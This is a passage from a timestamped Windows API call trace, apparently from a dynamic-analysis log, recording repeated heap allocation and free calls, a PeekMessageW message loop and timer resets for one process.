lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0133.140] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016000 [0133.141] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.156] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016000 | out: hHeap=0xe80000) returned 1 [0133.156] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.156] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3f8 [0133.156] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3b8 [0133.156] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055510 [0133.156] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055510 | out: hHeap=0xe80000) returned 1 [0133.156] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3b8 | out: hHeap=0xe80000) returned 1 [0133.156] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0133.156] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015c00 [0133.156] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.156] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015c00 | out: hHeap=0xe80000) returned 1 [0133.157] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.157] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0133.157] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3f8 [0133.157] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055550 [0133.157] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055550 | out: hHeap=0xe80000) returned 1 [0133.157] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0133.157] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0133.157] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015d80 [0133.157] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.157] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015d80 | out: hHeap=0xe80000) returned 1 [0133.157] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.157] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0133.157] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3b8 [0133.157] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10557f0 [0133.157] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10557f0 | out: hHeap=0xe80000) returned 1 [0133.157] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3b8 | out: hHeap=0xe80000) returned 1 [0133.158] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf398 | out: hHeap=0xe80000) returned 1 [0133.158] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015ec0 [0133.158] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.158] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015ec0 | out: hHeap=0xe80000) returned 1 [0133.158] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.158] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf418 [0133.158] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0133.158] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055550 [0133.158] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055550 | out: hHeap=0xe80000) returned 1 [0133.158] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf398 | out: hHeap=0xe80000) returned 1 [0133.158] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0133.158] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016000 [0133.158] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.158] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016000 | out: hHeap=0xe80000) returned 1 [0133.159] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.159] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf278 [0133.159] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3f8 [0133.159] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055550 [0133.159] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055550 | out: hHeap=0xe80000) returned 1 [0133.159] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0133.159] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf278 | out: hHeap=0xe80000) returned 1 [0133.159] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x10161c0 [0133.159] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.159] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10161c0 | out: hHeap=0xe80000) returned 1 [0133.159] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.160] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf278 [0133.160] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3f8 [0133.160] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055550 [0133.160] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055550 | out: hHeap=0xe80000) returned 1 [0133.160] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0133.160] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf278 | out: hHeap=0xe80000) returned 1 [0133.160] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016100 [0133.160] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.160] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016100 | out: hHeap=0xe80000) returned 1 [0133.161] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 1 [0133.161] TranslateMessage (lpMsg=0xbdf4bc) returned 0 [0133.161] DispatchMessageW (lpMsg=0xbdf4bc) returned 0x0 [0133.161] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0133.161] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0133.161] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.161] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf258 [0133.161] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf278 [0133.161] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055550 [0133.161] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055550 | out: hHeap=0xe80000) returned 1 [0133.162] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf278 | out: hHeap=0xe80000) returned 1 [0133.162] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf258 | out: hHeap=0xe80000) returned 1 [0133.162] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015dc0 [0133.162] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.162] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015dc0 | out: hHeap=0xe80000) returned 1 [0133.162] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.162] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3f8 [0133.162] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf278 [0133.162] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055550 [0133.162] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055550 | out: hHeap=0xe80000) returned 1 [0133.162] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf278 | out: hHeap=0xe80000) returned 1 [0133.162] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0133.163] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015d80 [0133.163] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.163] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015d80 | out: hHeap=0xe80000) returned 1 [0133.163] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.163] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf318 [0133.163] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0133.163] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10556d0 [0133.163] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10556d0 | out: hHeap=0xe80000) returned 1 [0133.163] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0133.163] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf318 | out: hHeap=0xe80000) returned 1 [0133.163] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016000 [0133.163] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.164] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016000 | out: hHeap=0xe80000) returned 1 [0133.164] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.164] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3f8 [0133.164] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0133.164] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10556b0 [0133.164] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10556b0 | out: hHeap=0xe80000) returned 1 [0133.164] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0133.164] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0133.164] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x10162c0 [0133.164] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.165] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10162c0 | out: hHeap=0xe80000) returned 1 [0133.165] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.165] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0133.165] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf318 [0133.165] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055550 [0133.165] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055550 | out: hHeap=0xe80000) returned 1 [0133.165] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf318 | out: hHeap=0xe80000) returned 1 [0133.165] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0133.165] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016180 [0133.165] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.166] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016180 | out: hHeap=0xe80000) returned 1 [0133.166] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.166] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf318 [0133.166] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0133.166] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055450 [0133.166] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055450 | out: hHeap=0xe80000) returned 1 [0133.166] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0133.166] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf318 | out: hHeap=0xe80000) returned 1 [0133.166] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016100 [0133.166] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.167] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016100 | out: hHeap=0xe80000) returned 1 [0133.167] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.167] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf368 [0133.167] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf418 [0133.167] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055610 [0133.167] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055610 | out: hHeap=0xe80000) returned 1 [0133.167] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0133.167] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf368 | out: hHeap=0xe80000) returned 1 [0133.168] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016000 [0133.168] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.168] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016000 | out: hHeap=0xe80000) returned 1 [0133.168] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.168] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf278 [0133.168] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2a8 [0133.168] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055650 [0133.168] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055650 | out: hHeap=0xe80000) returned 1 [0133.168] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2a8 | out: hHeap=0xe80000) returned 1 [0133.168] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf278 | out: hHeap=0xe80000) returned 1 [0133.168] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016180 [0133.168] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.169] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016180 | out: hHeap=0xe80000) returned 1 [0133.169] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.169] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0133.169] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf318 [0133.169] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10555d0 [0133.169] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10555d0 | out: hHeap=0xe80000) returned 1 [0133.169] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf318 | out: hHeap=0xe80000) returned 1 [0133.170] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf398 | out: hHeap=0xe80000) returned 1 [0133.170] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015c40 [0133.170] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.170] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015c40 | out: hHeap=0xe80000) returned 1 [0133.170] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.170] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf278 [0133.171] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0133.171] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055550 [0133.171] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055550 | out: hHeap=0xe80000) returned 1 [0133.171] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf398 | out: hHeap=0xe80000) returned 1 [0133.171] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf278 | out: hHeap=0xe80000) returned 1 [0133.171] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016080 [0133.171] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.171] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016080 | out: hHeap=0xe80000) returned 1 [0133.171] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.171] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf258 [0133.171] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2a8 [0133.171] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10556d0 [0133.172] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10556d0 | out: hHeap=0xe80000) returned 1 [0133.172] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2a8 | out: hHeap=0xe80000) returned 1 [0133.172] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf258 | out: hHeap=0xe80000) returned 1 [0133.172] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015c40 [0133.172] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.172] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015c40 | out: hHeap=0xe80000) returned 1 [0133.172] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.172] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf318 [0133.172] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0133.172] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10556d0 [0133.172] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10556d0 | out: hHeap=0xe80000) returned 1 [0133.173] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0133.173] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf318 | out: hHeap=0xe80000) returned 1 [0133.173] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015c00 [0133.173] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.173] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015c00 | out: hHeap=0xe80000) returned 1 [0133.173] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.173] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf418 [0133.173] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0133.173] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10557f0 [0133.173] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10557f0 | out: hHeap=0xe80000) returned 1 [0133.173] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0133.173] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0133.173] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015d80 [0133.174] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.174] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015d80 | out: hHeap=0xe80000) returned 1 [0133.174] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.174] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0133.174] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0133.174] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055730 [0133.174] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055730 | out: hHeap=0xe80000) returned 1 [0133.174] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0133.174] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf398 | out: hHeap=0xe80000) returned 1 [0133.174] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015e40 [0133.174] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.174] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf418 [0133.175] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9bc0 [0133.175] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b80 [0133.175] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0133.175] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9dc8 [0133.175] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076da8 [0133.175] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf298 [0133.175] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x14) returned 0x10557f0 [0133.175] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x24) returned 0x107d1c0 [0133.175] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ca0 [0133.175] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2a8 [0133.175] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf298 | out: hHeap=0xe80000) returned 1 